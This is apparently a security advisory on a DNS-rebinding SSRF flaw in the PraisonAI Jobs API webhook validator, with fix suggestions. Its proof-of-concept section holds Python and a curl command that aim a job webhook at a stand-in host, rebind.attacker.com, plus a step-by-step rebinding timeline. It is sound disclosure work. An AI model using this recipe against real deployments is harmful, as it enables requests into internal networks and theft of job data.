GHSA-rg5q-pp8p-f7jm: SSRF
Summary
praisonai/jobs/models.py::JobSubmitRequest.validatewebhookurl() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor.sendwebhook(), which calls httpx.AsyncClient().post(job.webhookurl) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can: 1. Submit a job with webhookurl pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror → pass) 2. Update DNS to point that hostname to 127.0.0.1 or another private IP 3. When the job completes, sendwebhook() resolves the hostname fresh → POST sent to the internal IP
Details
Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):
python @fieldvalidator("webhookurl") @classmethod def validatewebhookurl(cls, v): ... try: ip = socket.gethostbyname(hostname) ipobj = ipaddress.ipaddress(ip) if ipobj.isprivate or ipobj.isloopback or ipobj.islinklocal: raise ValueError("Webhook URL resolves to private network address") except socket.gaierror: pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction return v
When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):
python async def sendwebhook(self, job: Job): async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhookurl, # <-- fresh DNS resolution here, not cached from validation json=payload, ... )
httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhookurl = "http://rebind.attacker.com/cb" Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN) Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. sendwebhook() fires: httpx.post("http://rebind.attacker.com/cb") DNS: rebind.attacker.com → 127.0.0.1 POST reaches 127.0.0.1 → SSRF
Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhookurl parameter, patched in v4.5.126 by adding validatewebhookurl() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 — Confirm fail-open behaviour (local code verification):
python from praisonai.jobs.models import JobSubmitRequest from unittest.mock import patch import socket
Simulate: hostname temporarily does not resolve with patch("socket.gethostbyname", sideeffect=socket.gaierror("NXDOMAIN")): req = JobSubmitRequest( prompt="hello", webhookurl="http://rebind.attacker.com/callback" ) # No exception raised — URL accepted despite NXDOMAIN print("Webhook accepted:", req.webhookurl)
Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 — Confirm fresh DNS at execution time:
python From jobs/executor.py sendwebhook(): httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator) Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo(): # httpx resolves DNS here, not using any cached result from validation async with httpx.AsyncClient() as client: # This call resolves "rebind.attacker.com" fresh at runtime # If DNS changed since validation, it hits the new IP try: r = await client.post("http://rebind.attacker.com/callback", json={}) except Exception as e: print(f"Connection: {e}")
asyncio.run(demo())
Step 3 — Full attack scenario:
bash 1. Set up domain with short TTL, currently returning NXDOMAIN rebind.attacker.com → (no record, TTL=60)
2. Submit job via API curl -X POST http://praisonai-server:8000/jobs \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "prompt": "Calculate 2+2", "webhookurl": "http://rebind.attacker.com/callback" }' Response: {"jobid": "jobabc123", "status": "queued", ...}
3. After 5 seconds (before job finishes), add DNS record: rebind.attacker.com A 127.0.0.1 TTL=60
4. Wait for job to complete (seconds to minutes). sendwebhook() fires and resolves rebind.attacker.com → 127.0.0.1 POST request hits 127.0.0.1 (internal service)
If 127.0.0.1:80 is running a service, it receives: POST /callback HTTP/1.1 Content-Type: application/json {"jobid": "jobabc123", "status": "succeeded", "result": "4", ...}
Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs - API integrations (n8n, Zapier-style workflows) that provide webhookurl fields
Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint
---
Remediation Suggestion (for maintainers)
Fix 1 — Change gaierror handler to fail-closed (jobs/models.py line 63):
python VULNERABLE except socket.gaierror: pass
FIXED except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." )
Fix 2 — Re-validate at execution time (jobs/executor.py before sendwebhook):
python async def sendwebhook(self, job: Job): if not job.webhookurl: return # Re-validate to prevent DNS rebinding try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhookurl).hostname ip = socket.gethostbyname(hostname) if ipaddress.ipaddress(ip).isprivate: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhookurl}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return # ... proceed with httpx.post
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.58 - Configuration
In jobs/models.py (validate_webhook_url, around lines 58-66), change the DNS resolution error handling from `except socket.gaierror: pass` to a failure that rejects the webhook_url when `socket.gethostbyname(hostname)` raises socket.gaierror (NXDOMAIN/timeout/network error).
JobSubmitRequest (jobs/models.py) validate_webhook_url() gaierror handler = fail-closed (do not silently accept) - Configuration
In jobs/executor.py (around lines 376-406, before calling `_send_webhook()` / `httpx.AsyncClient().post()`), re-validate the webhook_url at execution time by resolving the hostname and applying the same private/loopback/link-local blocking logic, to remove the TOCTOU DNS rebinding window.
JobExecutor._send_webhook() (jobs/executor.py) execution-time webhook hostname validation = re-validate before POST
Event History
Frequently Asked Questions
What level of access does an attacker need?
The attack requires low-privileged access sufficient to submit a job and set its webhook URL. The attacker must also control a hostname so it can be non-resolving during validation and later resolve to a private or loopback address when the job completes.
Which systems can receive the unintended request?
A job webhook can be redirected to 127.0.0.1 or another private IP address. The webhook execution performs a new DNS lookup and sends an HTTP POST to the address returned at that later time.
What pattern should be investigated in job submissions?
Investigate webhook URLs using hostnames that failed DNS resolution when submitted, particularly where those hostnames later resolve to loopback or private network addresses. The relevant execution path is the later webhook POST performed after job completion.